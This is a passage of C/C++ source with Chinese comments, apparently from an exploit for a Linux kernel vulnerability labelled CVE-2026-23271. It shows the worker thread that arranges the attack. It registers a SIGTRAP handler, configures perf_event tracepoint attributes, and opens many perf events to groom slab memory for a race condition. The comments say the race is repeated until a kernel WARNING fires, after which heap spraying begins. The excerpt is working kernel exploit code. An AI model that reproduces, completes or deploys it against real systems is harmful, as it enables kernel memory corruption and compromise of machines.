Function tp_worker_thread

CVE-2026-23271/exploit/exploit.cpp:1406–1630

[1] Slab布局与竞态触发 T1 主 Worker 线程 (CPU 0): 竞态触发的 orchestrator 完整流程: 1. 注册 SIGTRAP 处理器 2. 预分配 drain 事件,填充 slab 布局 3. 分配 TOTAL_OBJS 个 perf_event 填充 slab 页 4. 根据 ID 选择目标事件 (PADDINGS+1 个 slab 后) 5. 构建 240-term filter 表达式 6. 多轮次执行竞态尝试 (tp_run_one_attempt),直到 WARNING 命中 7. 检测到 WARNING 后打开 spray gate,通知 sprayer 线程

//   6. 多轮次执行竞态尝试 (tp_run_one_attempt),直到 WARNING 命中
//   7. 检测到 WARNING 后打开 spray gate,通知 sprayer 线程
void *tp_worker_thread(void *arg)
{
    (void)arg;
    struct perf_event_attr pe;
    struct sigaction sa;
    struct tp_run_cfg cfg;
    char *filter_expr = NULL;
    uint64_t base_id = 0;
    uint64_t target_id_wanted;
    unsigned long attempt_seq = 0;

    tp_set_thread_affinity(0);
// [1-1] 注册 SIGTRAP 处理器 - 信号处理注册代码，用于捕获和处理 SIGTRAP 信号
    memset(&sa, 0, sizeof(sa));
    sa.sa_sigaction = tp_sigtrap_handler;   // tp_sigtrap_handler() - 统计 perf_event 产生的 SIGTRAP 数量
    sa.sa_flags = SA_SIGINFO;               // SA_SIGINFO 标志表示使用三参数的信号处理函数
    sigemptyset(&sa.sa_mask);
    if (sigaction(SIGTRAP, &sa, NULL) < 0) {
        perror("sigaction(SIGTRAP)");
        __atomic_store_n(&tp_spray_gate, -1, __ATOMIC_RELEASE);
        stop_threads = 1;
        exit_threads = 1;
        return NULL;
    }

    memset(&cfg, 0, sizeof(cfg));
    cfg.event_id = TP_FIXED_EVENT_ID;
    cfg.delay_ns = TP_FIXED_DELAY_NS;
    cfg.tries_per_round = TP_FIXED_TRIES_PER_ROUND;
    cfg.mode = TP_FIXED_MODE;
    cfg.filter_terms = TP_FIXED_FILTER_TERMS;
    cfg.futex_timeout_ms = TP_FIXED_FUTEX_TIMEOUT_MS;
    cfg.hog_ns = TP_FIXED_HOG_NS;
    cfg.verbose = TP_FIXED_VERBOSE;
    cfg.drain_every_attempts = TP_FIXED_DRAIN_EVERY;
    cfg.drain_sleep_us = TP_FIXED_DRAIN_SLEEP_US;
    cfg.prime_every_attempts = TP_FIXED_PRIME_EVERY;
    cfg.warn_wake_predelay_ns = TP_FIXED_WARN_WAKE_PREDELAY_NS;
    cfg.profile_name = "A";

    memset(&pe, 0, sizeof(pe));
    pe.type = PERF_TYPE_TRACEPOINT;
    pe.size = sizeof(pe);
    pe.config = cfg.event_id;
    pe.disabled = 1;
    pe.exclude_kernel = 1;
    pe.exclude_hv = 1;
    pe.sigtrap = 1;
    pe.remove_on_exec = 1;
    pe.sample_period = 1;
    pe.sample_type = PERF_SAMPLE_IP;
// [1-2] 预分配 drain 事件,填充 slab 布局
    for (int i = 0; i < DRAIN_COUNT; i++) {
        drain_fds[i] = perf_event_open(&pe, 0, -1, -1, PERF_FLAG_FD_CLOEXEC);
        if (i == 0 && drain_fds[0] != -1)
            (void)ioctl(drain_fds[0], PERF_EVENT_IOC_ID, &base_id);     // 读取 event->id
    }